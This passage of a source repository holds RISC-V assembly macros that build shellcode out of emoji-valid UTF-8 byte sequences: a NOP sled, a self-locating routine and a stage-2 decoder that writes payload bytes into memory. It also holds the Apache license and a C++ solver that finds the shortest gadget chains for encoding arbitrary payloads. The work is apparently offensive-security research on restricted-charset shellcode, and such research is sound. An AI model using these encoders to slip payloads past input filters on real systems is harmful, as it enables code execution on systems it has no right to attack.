a1,a1,0x3 116 | 117 | jumper_with_nonzero_a3 2 118 | ins2 0xf09f ### 119 | ins4 0x93a2e286 #⏩ slti t0,t0,-1938 120 | ins4 0x97efb88f ### auipc t6,0x8fb8e 121 | 122 | getbadpc: 123 | # Get badpc in ra 124 | ins2 0xe29d ### add s11,s11,s8 125 | ins4 0x97f09f88 #⏩ auipc ra,0x889ff 126 | ins4 0xb7efb88f ### lui t6,0x8fb8e 127 | 128 | matching_offset: 129 | # First, set a3 to 0 130 | jumper_with_nonzero_a5 2 131 | ins2 0xf09f ### 132 | ins4 0x93a6e29c #⏩ slti a3,t0,-1586 133 | ins2 0x89ef ### bnez a5,+0x1a 134 | ins2 0xb88f ### 135 | clog 0x14 136 | 137 | # Then, set a3 to badpc 138 | ins2 0xf09f ### 139 | ins2 0x8696 #⏩ add a3,a3,ra 140 | 141 | # Load matching offset 142 | ins2 0xe299 ### add s3,s3,s8 143 | ins4 0x93f09f8c ### andi ra,t6,-1847 144 | ins4 0xb7f09f88 #⏩ lui ra,0x889ff 145 | ins4 0xb7efb88f ### lui t6,0x8fb8e 146 | 147 | # And add to our fixup 148 | jumper_with_nonzero_a5 2 149 | ins2 0xf09f ### 150 | ins2 0x8695 #⏩ add a1,a1,ra 151 | 152 | t2to1: # For stage2 decode 153 | jumper_with_nonzero_a3 2 154 | ins2 0xf09f ### 155 | ins4 0x93b3f09f #⏩ sltiu t2,ra,-1537 156 | ins2 0x868e ### mv t4,ra 157 | 158 | seta3: 159 | # Finally, set a3 to our final value 160 | jumper_with_nonzero_a3 2 161 | ins2 0xf09f ### 162 | ins2 0x8d8e #⏩ sub a3,a3,a1 163 | 164 | t0to110: # For stage2 decode 165 | jumper_with_nonzero_a3 2 166 | ins2 0xf09f ### 167 | ins4 0x9382e286 #⏩ addi t0,t0,-1938 168 | ins4 0x97efb88f ### auipc t6,0x8fb8e 169 | 170 | .macro incr_a1_by_s1 171 | # ... e29e95 ➕ 172 | jumper_with_nonzero_a3 2 173 | ins2 0xf09f ### 174 | ins2 0xa695 #⏩ add a1,a1,s1 175 | .endm 176 | 177 | .macro incr_a1_by_t0 178 | # ... f09f9695 🖕 179 | jumper_with_nonzero_a3 2 180 | ins2 0xf09f ### 181 | ins2 0x9695 #⏩ add a1,a1,t0 182 | .endm 183 | 184 | .macro incr_a1_by_t2 185 | # e28fb0 ⏰ e29e95 ➕ 186 | ins2 0xe28f ### mv t6,s8 187 | ins2 0xb0e2 ### sd a2,64(a3) 188 | ins2 0x9e95 #⏩ add a1,a1,t2 189 | .endm 190 | 191 | .macro stage2_write_byte 192 | #if RV_BITS == 32 193 | # First, store a1 194 | # e2998c ♌ c2a9efb88f ©️ 195 | ins2 0xe299 ### add s3,s3,s8 196 | ins2 0x8cc2 #⏩ sw a1,0(a3) 197 | ins2 0xa9ef ### bnez a5,+0x5a 198 | ins2 0xb88f 199 | clog 0x54 200 | # Then, increment a3 201 | # e29989 ♉ e29e96 ➖ 202 | ins2 0xe299 ### add s3,s3,s8 203 | ins2 0x89e2 ### bnez a3,+0x2 204 | ins2 0x9e96 #⏩ add a3,a3,t2 205 | #elif RV_BITS == 64 206 | # First, store a1 207 | # e29d8c ❌ e29e96 ➖ 208 | ins2 0xe29d ### add s11,s11,s8 209 | ins2 0x8ce2 #⏩ sd a1,0(a3) 210 | # Then, increment a3 211 | ins2 0x9e96 #⏩ add a3,a3,t2 212 | #else 213 | #error Unknown RV_BITS 214 | #endif 215 | .endm 216 | 217 | .macro k2_t0_plus_m1330_to_a1 218 | jumper_with_nonzero_a3 2 219 | ins2 0xf09f ### 220 | ins4 0x9385e2ac #⏩ addi a1,t0,-1330 221 | ins2 0x9ce2 ### sd a5,0(a3) 222 | ins2 0x998b ### andi a5,a5,6 223 | .endm 224 | 225 | .macro k2_t0_plus_m1554_to_a1 226 | jumper_with_nonzero_a3 2 227 | ins2 0xf09f ### 228 | ins4 0x9385e29e #⏩ addi a1,t0,-1554 229 | ins2 0xb0e2 ### sd a2,64(a3) 230 | ins2 0x998b ### andi a5,a5,6 231 | .endm 232 | 233 | .macro k2_t0_plus_m1586_to_a1 234 | jumper_with_nonzero_a3 2 235 | ins2 0xf09f ### 236 | ins4 0x9385e29c #⏩ addi a1,t0,-1586 237 | ins2 0x89ef ### bnez a5,+0x1a 238 | ins2 0xb88f ### 239 | clog 22 240 | .endm 241 | 242 | .macro k2_t0_plus_m1602_to_a1 243 | jumper_with_nonzero_a3 2 244 | ins2 0xf09f ### 245 | ins4 0x9385e29b #⏩ addi a1,t0,-1602 246 | ins4 0x93efb88f ### ori t6,a7,-1797 247 | .endm 248 | 249 | .macro k2_t0_plus_m1618_to_a1 250 | jumper_with_nonzero_a3 2 251 | ins2 0xf09f ### 252 | ins4 0x9385e29a #⏩ addi a1,t0,-1618 253 | ins4 0x97efb88f ### auipc t6,0x8fb8e 254 | .endm 255 | 256 | .macro k2_t0_plus_m1634_to_a1 257 | jumper_with_nonzero_a3 2 258 | ins2 0xf09f ### 259 | ins4 0x9385e299 #⏩ addi a1,t0,-1634 260 | ins2 0x91e2 ### bnez a3,+0x4 261 | ins2 0xac9c ### 262 | .endm 263 | 264 | .macro k2_t0_plus_m1650_to_a1 265 | jumper_with_nonzero_a3 2 266 | ins2 0xf09f ### 267 | ins4 0x9385e298 #⏩ addi a1,t0,-1650 268 | ins2 0x94e2 ### sd a3,0(a3) 269 | ins2 0x998b ### andi a5,a5,6 270 | .endm 271 | 272 | .macro k2_t0_plus_m1794_to_a1 273 | jumper_with_nonzero_a3 2 274 | ins2 0xf09f ### 275 | ins4 0x9385e28f #⏩ addi a1,t0,-1794 276 | ins2 0xace2 ### sd a1,64(a3) 277 | ins2 0x998b ### andi a5,a5,6 278 | .endm 279 | 280 | .macro k2_t0_plus_m1938_to_a1 281 | jumper_with_nonzero_a3 2 282 | ins2 0xf09f ### 283 | ins4 0x9385e286 #⏩ addi a1,t0,-1938 284 | ins4 0x97efb88f ### auipc t6,0x8fb8e 285 | .endm 286 | 287 | .macro k2_t0_plus_m1970_to_a1 288 | jumper_with_nonzero_a3 2 289 | ins2 0xf09f ### 290 | ins4 0x9385e284 #⏩ addi a1,t0,-1970 291 | ins2 0xb9ef ### bnez a5,+0x5e 292 | ins2 0xb88f ### 293 | clog 90 294 | .endm 295 | 296 | .macro k2_t0_plus_m2018_to_a1 297 | jumper_with_nonzero_a3 2 298 | ins2 0xf09f ### 299 | ins4 0x9385e281 #⏩ addi a1,t0,-2018 300 | ins2 0x89ef ### bnez a5,+0x1a 301 | ins2 0xb88f ### 302 | clog 22 303 | .endm 304 | 305 | .macro k2_t2_plus_m1874_to_a1 306 | jumper_with_nonzero_a3 2 307 | ins2 0xf09f ### 308 | ins4 0x9385e38a #⏩ addi a1,t2,-1874 309 | ins4 0x97efb88f ### auipc t6,0x8fb8e 310 | .endm 311 | 312 | .macro k2_a1_to_0 313 | jumper_with_nonzero_a3 2 314 | ins2 0xf09f ### 315 | ins2 0x8d8d #⏩ sub a1,a1,a1 316 | .endm 317 | 318 | .macro k2_a1_andi_3 319 | jumper_with_nonzero_a3 2 320 | ins2 0xf09f ### 321 | ins2 0x8d89 #⏩ andi a1,a1,3 322 | .endm 323 | 324 | .macro k2_a1_andi_4 325 | jumper_with_nonzero_a3 2 326 | ins2 0xf09f ### 327 | ins2 0x9189 #⏩ andi a1,a1,4 328 | .endm 329 | 330 | .macro k2_a1_andi_6 331 | jumper_with_nonzero_a3 2 332 | ins2 0xf09f ### 333 | ins2 0x9989 #⏩ andi a1,a1,6 334 | .endm 335 | 336 | .macro k2_a1_andi_9 337 | jumper_with_nonzero_a3 2 338 | ins2 0xf09f ### 339 | ins2 0xa589 #⏩ andi a1,a1,9 340 | .endm 341 | 342 | .macro k2_a1_andi_m23 343 | jumper_with_nonzero_a3 2 344 | ins2 0xf09f ### 345 | ins2 0xa599 #⏩ andi a1,a1,-23 346 | .endm 347 | 348 | .macro k2_a1_andi_m27 349 | jumper_with_nonzero_a3 2 350 | ins2 0xf09f ### 351 | ins2 0x9599 #⏩ andi a1,a1,-27 352 | .endm 353 | 354 | .macro k2_a1_andi_m28 355 | jumper_with_nonzero_a3 2 356 | ins2 0xf09f ### 357 | ins2 0x9199 #⏩ andi a1,a1,-28 358 | .endm 359 | 360 | .macro k2_a1_andi_m29 361 | jumper_with_nonzero_a3 2 362 | ins2 0xf09f ### 363 | ins2 0x8d99 #⏩ andi a1,a1,-29 364 | .endm 365 | 366 | stage2decode: 367 | #include "stage2_encoded.S" 368 | 369 | .macro nop6 370 | #if 1 371 | ins2 0xe29a ### add s5,s5,s8 372 | ins4 0x97efb88f ### auipc t6,0x8fb8e 373 | #else 374 | ins2 0xe28f ### mv t6,s8 375 | ins2 0xb0e2 ### sd a2,64(a3) 376 | ins2 0x9988 ### andi s1,s1,6 377 | #endif 378 | .endm 379 | 380 | nopsled: 381 | #repeat(1, {nop6}) 382 | .byte 0xe2,0x8f,0xb0 383 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright 2018-2022 Hadrien Barral 2 | Copyright 2018-2022 Georges-Axel Jaloyan 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | 16 | The full text is provided below: 17 | 18 | Apache License 19 | Version 2.0, January 2004 20 | http://www.apache.org/licenses/ 21 | 22 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 23 | 24 | 1. Definitions. 25 | 26 | "License" shall mean the terms and conditions for use, reproduction, 27 | and distribution as defined by Sections 1 through 9 of this document. 28 | 29 | "Licensor" shall mean the copyright owner or entity authorized by 30 | the copyright owner that is granting the License. 31 | 32 | "Legal Entity" shall mean the union of the acting entity and all 33 | other entities that control, are controlled by, or are under common 34 | control with that entity. For the purposes of this definition, 35 | "control" means (i) the power, direct or indirect, to cause the 36 | direction or management of such entity, whether by contract or 37 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 38 | outstanding shares, or (iii) beneficial ownership of such entity. 39 | 40 | "You" (or "Your") shall mean an individual or Legal Entity 41 | exercising permissions granted by this License. 42 | 43 | "Source" form shall mean the preferred form for making modifications, 44 | including but not limited to software source code, documentation 45 | source, and configuration files. 46 | 47 | "Object" form shall mean any form resulting from mechanical 48 | transformation or translation of a Source form, including but 49 | not limited to compiled object code, generated documentation, 50 | and conversions to other media types. 51 | 52 | "Work" shall mean the work of authorship, whether in Source or 53 | Object form, made available under the License, as indicated by a 54 | copyright notice that is included in or attached to the work 55 | (an example is provided in the Appendix below). 56 | 57 | "Derivative Works" shall mean any work, whether in Source or Object 58 | form, that is based on (or derived from) the Work and for which the 59 | editorial revisions, annotations, elaborations, or other modifications 60 | represent, as a whole, an original work of authorship. For the purposes 61 | of this License, Derivative Works shall not include works that remain 62 | separable from, or merely link (or bind by name) to the interfaces of, 63 | the Work and Derivative Works thereof. 64 | 65 | "Contribution" shall mean any work of authorship, including 66 | the original version of the Work and any modifications or additions 67 | to that Work or Derivative Works thereof, that is intentionally 68 | submitted to Licensor for inclusion in the Work by the copyright owner 69 | or by an individual or Legal Entity authorized to submit on behalf of 70 | the copyright owner. For the purposes of this definition, "submitted" 71 | means any form of electronic, verbal, or written communication sent 72 | to the Licensor or its representatives, including but not limited to 73 | communication on electronic mailing lists, source code control systems, 74 | and issue tracking systems that are managed by, or on behalf of, the 75 | Licensor for the purpose of discussing and improving the Work, but 76 | excluding communication that is conspicuously marked or otherwise 77 | designated in writing by the copyright owner as "Not a Contribution." 78 | 79 | "Contributor" shall mean Licensor and any individual or Legal Entity 80 | on behalf of whom a Contribution has been received by Licensor and 81 | subsequently incorporated within the Work. 82 | 83 | 2. Grant of Copyright License. Subject to the terms and conditions of 84 | this License, each Contributor hereby grants to You a perpetual, 85 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 86 | copyright license to reproduce, prepare Derivative Works of, 87 | publicly display, publicly perform, sublicense, and distribute the 88 | Work and such Derivative Works in Source or Object form. 89 | 90 | 3. Grant of Patent License. Subject to the terms and conditions of 91 | this License, each Contributor hereby grants to You a perpetual, 92 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 93 | (except as stated in this section) patent license to make, have made, 94 | use, offer to sell, sell, import, and otherwise transfer the Work, 95 | where such license applies only to those patent claims licensable 96 | by such Contributor that are necessarily infringed by their 97 | Contribution(s) alone or by combination of their Contribution(s) 98 | with the Work to which such Contribution(s) was submitted. If You 99 | institute patent litigation against any entity (including a 100 | cross-claim or counterclaim in a lawsuit) alleging that the Work 101 | or a Contribution incorporated within the Work constitutes direct 102 | or contributory patent infringement, then any patent licenses 103 | granted to You under this License for that Work shall terminate 104 | as of the date such litigation is filed. 105 | 106 | 4. Redistribution. You may reproduce and distribute copies of the 107 | Work or Derivative Works thereof in any medium, with or without 108 | modifications, and in Source or Object form, provided that You 109 | meet the following conditions: 110 | 111 | (a) You must give any other recipients of the Work or 112 | Derivative Works a copy of this License; and 113 | 114 | (b) You must cause any modified files to carry prominent notices 115 | stating that You changed the files; and 116 | 117 | (c) You must retain, in the Source form of any Derivative Works 118 | that You distribute, all copyright, patent, trademark, and 119 | attribution notices from the Source form of the Work, 120 | excluding those notices that do not pertain to any part of 121 | the Derivative Works; and 122 | 123 | (d) If the Work includes a "NOTICE" text file as part of its 124 | distribution, then any Derivative Works that You distribute must 125 | include a readable copy of the attribution notices contained 126 | within such NOTICE file, excluding those notices that do not 127 | pertain to any part of the Derivative Works, in at least one 128 | of the following places: within a NOTICE text file distributed 129 | as part of the Derivative Works; within the Source form or 130 | documentation, if provided along with the Derivative Works; or, 131 | within a display generated by the Derivative Works, if and 132 | wherever such third-party notices normally appear. The contents 133 | of the NOTICE file are for informational purposes only and 134 | do not modify the License. You may add Your own attribution 135 | notices within Derivative Works that You distribute, alongside 136 | or as an addendum to the NOTICE text from the Work, provided 137 | that such additional attribution notices cannot be construed 138 | as modifying the License. 139 | 140 | You may add Your own copyright statement to Your modifications and 141 | may provide additional or different license terms and conditions 142 | for use, reproduction, or distribution of Your modifications, or 143 | for any such Derivative Works as a whole, provided Your use, 144 | reproduction, and distribution of the Work otherwise complies with 145 | the conditions stated in this License. 146 | 147 | 5. Submission of Contributions. Unless You explicitly state otherwise, 148 | any Contribution intentionally submitted for inclusion in the Work 149 | by You to the Licensor shall be under the terms and conditions of 150 | this License, without any additional terms or conditions. 151 | Notwithstanding the above, nothing herein shall supersede or modify 152 | the terms of any separate license agreement you may have executed 153 | with Licensor regarding such Contributions. 154 | 155 | 6. Trademarks. This License does not grant permission to use the trade 156 | names, trademarks, service marks, or product names of the Licensor, 157 | except as required for reasonable and customary use in describing the 158 | origin of the Work and reproducing the content of the NOTICE file. 159 | 160 | 7. Disclaimer of Warranty. Unless required by applicable law or 161 | agreed to in writing, Licensor provides the Work (and each 162 | Contributor provides its Contributions) on an "AS IS" BASIS, 163 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 164 | implied, including, without limitation, any warranties or conditions 165 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 166 | PARTICULAR PURPOSE. You are solely responsible for determining the 167 | appropriateness of using or redistributing the Work and assume any 168 | risks associated with Your exercise of permissions under this License. 169 | 170 | 8. Limitation of Liability. In no event and under no legal theory, 171 | whether in tort (including negligence), contract, or otherwise, 172 | unless required by applicable law (such as deliberate and grossly 173 | negligent acts) or agreed to in writing, shall any Contributor be 174 | liable to You for damages, including any direct, indirect, special, 175 | incidental, or consequential damages of any character arising as a 176 | result of this License or out of the use or inability to use the 177 | Work (including but not limited to damages for loss of goodwill, 178 | work stoppage, computer failure or malfunction, or any and all 179 | other commercial damages or losses), even if such Contributor 180 | has been advised of the possibility of such damages. 181 | 182 | 9. Accepting Warranty or Additional Liability. While redistributing 183 | the Work or Derivative Works thereof, You may choose to offer, 184 | and charge a fee for, acceptance of support, warranty, indemnity, 185 | or other liability obligations and/or rights consistent with this 186 | License. However, in accepting such obligations, You may act only 187 | on Your own behalf and on Your sole responsibility, not on behalf 188 | of any other Contributor, and only if You agree to indemnify, 189 | defend, and hold each Contributor harmless for any liability 190 | incurred by, or claims asserted against, such Contributor by reason 191 | of your accepting any such warranty or additional liability. 192 | 193 | END OF TERMS AND CONDITIONS 194 | 195 | APPENDIX: How to apply the Apache License to your work. 196 | 197 | To apply the Apache License to your work, attach the following 198 | boilerplate notice, with the fields enclosed by brackets "[]" 199 | replaced with your own identifying information. (Don't include 200 | the brackets!) The text should be enclosed in the appropriate 201 | comment syntax for the file format. We also recommend that a 202 | file or class name and description of purpose be included on the 203 | same "printed page" as the copyright notice for easier 204 | identification within third-party archives. 205 | 206 | Copyright [yyyy] [name of copyright owner] 207 | 208 | Licensed under the Apache License, Version 2.0 (the "License"); 209 | you may not use this file except in compliance with the License. 210 | You may obtain a copy of the License at 211 | 212 | http://www.apache.org/licenses/LICENSE-2.0 213 | 214 | Unless required by applicable law or agreed to in writing, software 215 | distributed under the License is distributed on an "AS IS" BASIS, 216 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 217 | See the License for the specific language governing permissions and 218 | limitations under the License. 219 | -------------------------------------------------------------------------------- /qemu/fromto.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | * (c) 2023-2023 Hadrien Barral 3 | * SPDX-License-Identifier: Apache-2.0 4 | */ 5 | 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | namespace fs = std::filesystem; 15 | 16 | using u8 = uint8_t; 17 | 18 | class Gadgets 19 | { 20 | public: 21 | uint64_t t2 = 1; 22 | uint64_t s1 = 1; 23 | uint64_t t0 = 9; 24 | uint64_t ra = 1; 25 | 26 | enum Reg { 27 | T0, T2, RA, A1, ZR, S1 28 | }; 29 | 30 | class AbsoluteG { 31 | public: 32 | Reg reg; 33 | int64_t offset; 34 | size_t size_bytes; 35 | std::string text; 36 | 37 | AbsoluteG(Reg _reg, int64_t _offset, size_t _size_bytes, std::string _text) { 38 | reg = _reg; 39 | offset = _offset; 40 | size_bytes = _size_bytes; 41 | text = _text; 42 | } 43 | }; 44 | 45 | class RelG { 46 | public: 47 | enum Op { 48 | ADD, ANDI 49 | }; 50 | 51 | Op op; 52 | int64_t operand; 53 | Reg reg; 54 | size_t size_bytes; 55 | std::string text; 56 | 57 | RelG(Op _op, int64_t _operand, Reg _reg, size_t _size_bytes, std::string _text) { 58 | op = _op; 59 | operand = _operand; 60 | reg = _reg; 61 | size_bytes = _size_bytes; 62 | text = _text; 63 | } 64 | }; 65 | 66 | std::vector absolutes; 67 | std::vector rel; 68 | 69 | uint64_t reg_to_val(Reg reg) const { 70 | uint64_t val; 71 | switch(reg) { 72 | case T0: 73 | val = t0; 74 | break; 75 | case T2: 76 | val = t2; 77 | break; 78 | case RA: 79 | val = ra; 80 | break; 81 | case S1: 82 | val = s1; 83 | break; 84 | case ZR: 85 | val = 0; 86 | break; 87 | default: 88 | assert(0); 89 | } 90 | return val; 91 | } 92 | 93 | std::pair solve(AbsoluteG ag) { 94 | uint64_t val; 95 | if (ag.reg == A1) { 96 | val = 0; 97 | } else { 98 | val = reg_to_val(ag.reg); 99 | } 100 | return std::make_pair(val + (uint64_t)ag.offset, ag); 101 | } 102 | 103 | size_t GAD_SZ_P6 = 6; 104 | size_t jumper_with_nonzero_a3_size = 10; 105 | size_t GAD_SZ_J4 = jumper_with_nonzero_a3_size + 4; 106 | size_t GAD_SZ_J10 = jumper_with_nonzero_a3_size + 10; 107 | size_t GAD_SZ_J32 = jumper_with_nonzero_a3_size + 32; 108 | size_t GAD_SZ_J100 = jumper_with_nonzero_a3_size + 100; 109 | size_t GAD_SZ_J130 = jumper_with_nonzero_a3_size + 130; 110 | size_t GAD_SZ_J132 = jumper_with_nonzero_a3_size + 132; 111 | 112 | Gadgets() { 113 | absolutes.push_back(AbsoluteG(T0, -1330, GAD_SZ_J10 , "k2_t0_plus_m1330_to_a1")); /* [9385e2ac] */ 114 | absolutes.push_back(AbsoluteG(T0, -1458, GAD_SZ_J130, "k2_t0_plus_m1458_to_a1")); /* [9385e2a4] */ 115 | absolutes.push_back(AbsoluteG(T0, -1554, GAD_SZ_J10 , "k2_t0_plus_m1554_to_a1")); /* [9385e29e] */ 116 | absolutes.push_back(AbsoluteG(T0, -1586, GAD_SZ_J32 , "k2_t0_plus_m1586_to_a1")); /* [9385e29c] */ 117 | absolutes.push_back(AbsoluteG(T0, -1602, GAD_SZ_J10 , "k2_t0_plus_m1602_to_a1")); /* [9385e29b] */ 118 | absolutes.push_back(AbsoluteG(T0, -1618, GAD_SZ_J10 , "k2_t0_plus_m1618_to_a1")); /* [9385e29a] */ 119 | absolutes.push_back(AbsoluteG(T0, -1634, GAD_SZ_J10 , "k2_t0_plus_m1634_to_a1")); /* [9385e299] */ 120 | absolutes.push_back(AbsoluteG(T0, -1650, GAD_SZ_J10 , "k2_t0_plus_m1650_to_a1")); /* [9385e298] */ 121 | absolutes.push_back(AbsoluteG(T0, -1794, GAD_SZ_J10 , "k2_t0_plus_m1794_to_a1")); /* [9385e28f] */ 122 | absolutes.push_back(AbsoluteG(T0, -1938, GAD_SZ_J10 , "k2_t0_plus_m1938_to_a1")); /* [9385e286] */ 123 | absolutes.push_back(AbsoluteG(T0, -1970, GAD_SZ_J100, "k2_t0_plus_m1970_to_a1")); /* [9385e284] */ 124 | absolutes.push_back(AbsoluteG(T0, -2018, GAD_SZ_J32 , "k2_t0_plus_m2018_to_a1")); /* [9385e281] */ 125 | absolutes.push_back(AbsoluteG(T2, -1874, GAD_SZ_J10 , "k2_t2_plus_m1874_to_a1")); /* [9385e38a] */ 126 | absolutes.push_back(AbsoluteG(T2, -2034, GAD_SZ_J132, "k2_t2_plus_m2034_to_a1")); /* [9385e380] */ 127 | absolutes.push_back(AbsoluteG(A1, 0, GAD_SZ_J4 , "k2_a1_to_0")); /* [9385e286] */ 128 | 129 | rel.push_back(RelG(RelG::Op::ADD, 0, S1, GAD_SZ_J4, "incr_a1_by_s1")); 130 | rel.push_back(RelG(RelG::Op::ADD, 0, T0, GAD_SZ_J4, "incr_a1_by_t0")); 131 | rel.push_back(RelG(RelG::Op::ADD, 0, T2, GAD_SZ_P6, "incr_a1_by_t2")); 132 | rel.push_back(RelG(RelG::Op::ANDI, 3, ZR, GAD_SZ_J4, "k2_a1_andi_3")); 133 | rel.push_back(RelG(RelG::Op::ANDI, 4, ZR, GAD_SZ_J4, "k2_a1_andi_4")); 134 | rel.push_back(RelG(RelG::Op::ANDI, 6, ZR, GAD_SZ_J4, "k2_a1_andi_6")); 135 | rel.push_back(RelG(RelG::Op::ANDI, 9, ZR, GAD_SZ_J4, "k2_a1_andi_9")); 136 | rel.push_back(RelG(RelG::Op::ANDI, -23, ZR, GAD_SZ_J4, "k2_a1_andi_m23")); 137 | rel.push_back(RelG(RelG::Op::ANDI, -27, ZR, GAD_SZ_J4, "k2_a1_andi_m27")); 138 | rel.push_back(RelG(RelG::Op::ANDI, -28, ZR, GAD_SZ_J4, "k2_a1_andi_m28")); 139 | rel.push_back(RelG(RelG::Op::ANDI, -29, ZR, GAD_SZ_J4, "k2_a1_andi_m29")); 140 | } 141 | 142 | u8 compute(u8 i, const RelG &relg) const { 143 | u8 j; 144 | switch (relg.op) { 145 | case RelG::Op::ADD: 146 | j = i + reg_to_val(relg.reg) + relg.operand; 147 | break; 148 | case RelG::Op::ANDI: 149 | j = i & (u8)relg.operand; 150 | break; 151 | default: 152 | assert(0); 153 | } 154 | return j; 155 | } 156 | }; 157 | 158 | class Strategy 159 | { 160 | public: 161 | size_t nb_bytes; 162 | size_t nb_gadgets; 163 | std::vector gadgets; 164 | }; 165 | 166 | void solve(u8 from, std::vector &to, const Gadgets &gadgets) 167 | { 168 | /* Add the source */ 169 | to[from].nb_bytes = 0; 170 | to[from].nb_gadgets = 0; 171 | to[from].gadgets.clear(); 172 | 173 | size_t depth = 0; 174 | bool done = true; 175 | do { 176 | done = true; 177 | 178 | if (depth < 1000) { 179 | done = false; 180 | } 181 | 182 | for (int i=0; i<256; i++) { 183 | if (to[i].nb_bytes == depth) { 184 | for (auto rel: gadgets.rel) { 185 | u8 j = gadgets.compute(i, rel); 186 | size_t new_depth = to[i].nb_bytes + rel.size_bytes; 187 | if (new_depth < to[j].nb_bytes) { 188 | to[j].nb_bytes = to[i].nb_bytes + rel.size_bytes; 189 | to[j].nb_gadgets = to[i].nb_gadgets + 1; 190 | to[j].gadgets = to[i].gadgets; 191 | to[j].gadgets.push_back(rel.text); 192 | done = false; 193 | } 194 | } 195 | } 196 | } 197 | 198 | depth++; 199 | } while (!done); 200 | } 201 | 202 | using Strategies = std::vector>; 203 | 204 | static Strategies solve_strategies(uint64_t t0_val, uint64_t s1_val) 205 | { 206 | Strategies fromto; 207 | fromto.resize(256); 208 | for (int i=0; i<256; i++) { 209 | fromto[i].resize(256); 210 | for (int j=0; j<256; j++) { 211 | fromto[i][j].nb_bytes = 10000; 212 | fromto[i][j].nb_gadgets = 10000; 213 | } 214 | } 215 | 216 | Gadgets gadgets; 217 | gadgets.t0 = t0_val; 218 | gadgets.s1 = s1_val; 219 | 220 | std::vector> start_abs; 221 | for (auto ag: gadgets.absolutes) { 222 | start_abs.push_back(gadgets.solve(ag)); 223 | } 224 | 225 | for (int i=0; i<256; i++) { 226 | for (auto sval: start_abs) { 227 | if (sval.second.size_bytes < fromto[i][sval.first].nb_bytes) { 228 | fromto[i][sval.first].nb_bytes = sval.second.size_bytes; 229 | fromto[i][sval.first].nb_gadgets = 1; 230 | fromto[i][sval.first].gadgets.clear(); 231 | fromto[i][sval.first].gadgets.push_back(sval.second.text); 232 | } 233 | } 234 | } 235 | 236 | for (int i=0; i<256; i++) { 237 | solve(i, fromto[i], gadgets); 238 | } 239 | 240 | return fromto; 241 | } 242 | 243 | static size_t encode(std::vector payload, const Strategies &fromto) 244 | { 245 | size_t nb_bytes = 0; 246 | 247 | u8 val = 1; 248 | for (u8 c: payload) { 249 | nb_bytes += fromto[val][c].nb_bytes; 250 | val = c; 251 | } 252 | 253 | return nb_bytes; 254 | } 255 | 256 | static int tryhard(int argc, char *argv[]) 257 | { 258 | if (argc != 3) { 259 | std::cerr << "usage: " << ((argc>0) ? argv[0] : "") << " -t " << std::endl; 260 | return 1; 261 | } 262 | 263 | std::map> payloads; 264 | std::string path = argv[2]; 265 | for (const auto &entry : fs::directory_iterator(path)) { 266 | std::ifstream file(entry.path(), std::ios::binary | std::ios::ate); 267 | std::streamsize size = file.tellg(); 268 | file.seekg(0, std::ios::beg); 269 | 270 | std::vector buffer(size); 271 | if (!file.read(buffer.data(), size)) { 272 | std::cerr << "Failed to read file '" << entry.path() << "'" << std::endl; 273 | return 1; 274 | } 275 | std::vector ubuffer(buffer.begin(), buffer.end()); 276 | payloads.insert(std::pair(entry.path().filename(), ubuffer)); 277 | } 278 | 279 | for (uint64_t t0_val=1; t0_val<256; t0_val++) { 280 | for (uint64_t s1_val=1; s1_val<256; s1_val++) { 281 | Strategies fromto = solve_strategies(t0_val, s1_val); 282 | for (auto const& [key, payload] : payloads) { 283 | size_t nb_bytes = encode(payload, fromto); 284 | std::cout << key.substr(8, 8) << " with t0:" << std::setw(3) << t0_val << " s1:" 285 | << std::setw(3) << s1_val << " -> " << std::setw(4) << nb_bytes << std::endl; 286 | } 287 | } 288 | } 289 | 290 | return 0; 291 | } 292 | 293 | int main(int argc, char *argv[]) 294 | { 295 | if ((argc > 1) && strcmp(argv[1], "-t") == 0) { 296 | return tryhard(argc, argv); 297 | } 298 | 299 | if (argc != 4) { 300 | std::cerr << "usage: " << ((argc>0) ? argv[0] : "") << " " << std::endl; 301 | return 1; 302 | } 303 | std::string out_filename = argv[1]; 304 | 305 | std::istringstream iss_t0(argv[2]); 306 | uint64_t t0_val; 307 | if (!((iss_t0 >> t0_val) && iss_t0.eof())) { 308 | std::cerr << "Could not convert t0_value '" << argv[2] << "' to integer." << std::endl; 309 | return 1; 310 | } 311 | 312 | std::istringstream iss_s1(argv[3]); 313 | uint64_t s1_val; 314 | if (!((iss_s1 >> s1_val) && iss_s1.eof())) { 315 | std::cerr << "Could not convert t0_value '" << argv[3] << "' to integer." << std::endl; 316 | return 1; 317 | } 318 | 319 | Strategies fromto = solve_strategies(t0_val, s1_val); 320 | 321 | std::stringstream out_json; 322 | out_json << "{" << std::endl; 323 | for (int i=0; i<256; i++) { 324 | out_json << " \"" << i << "\": [" << std::endl; 325 | for (int j=0; j<256; j++) { 326 | size_t nbg = fromto[i][j].nb_gadgets; 327 | assert(nbg < 100); 328 | out_json << " { \"nb_gadgets\":" << nbg << ", \"nb_bytes\":" 329 | << fromto[i][j].nb_bytes << ", \"gadgets\":[ "; 330 | for (const auto &gadget: fromto[i][j].gadgets) { 331 | out_json << "\"" << gadget << "\","; 332 | } 333 | out_json.seekp(-1,out_json.cur); 334 | out_json << " ] }" << ((j<255) ? "," : "") << std::endl; 335 | } 336 | out_json << " ]" << ((i<255) ? "," : "") << std::endl; 337 | } 338 | out_json << "}" << std::endl; 339 | 340 | std::ofstream out_file; 341 | 342 | out_file.open(out_filename, std::ios::out); 343 | 344 | if (!out_file) { 345 | std::cerr << "Could not open output file '" << out_filename << "'" << std::endl; 346 | return 1; 347 | } 348 | 349 | out_file << out_json.str(); 350 | 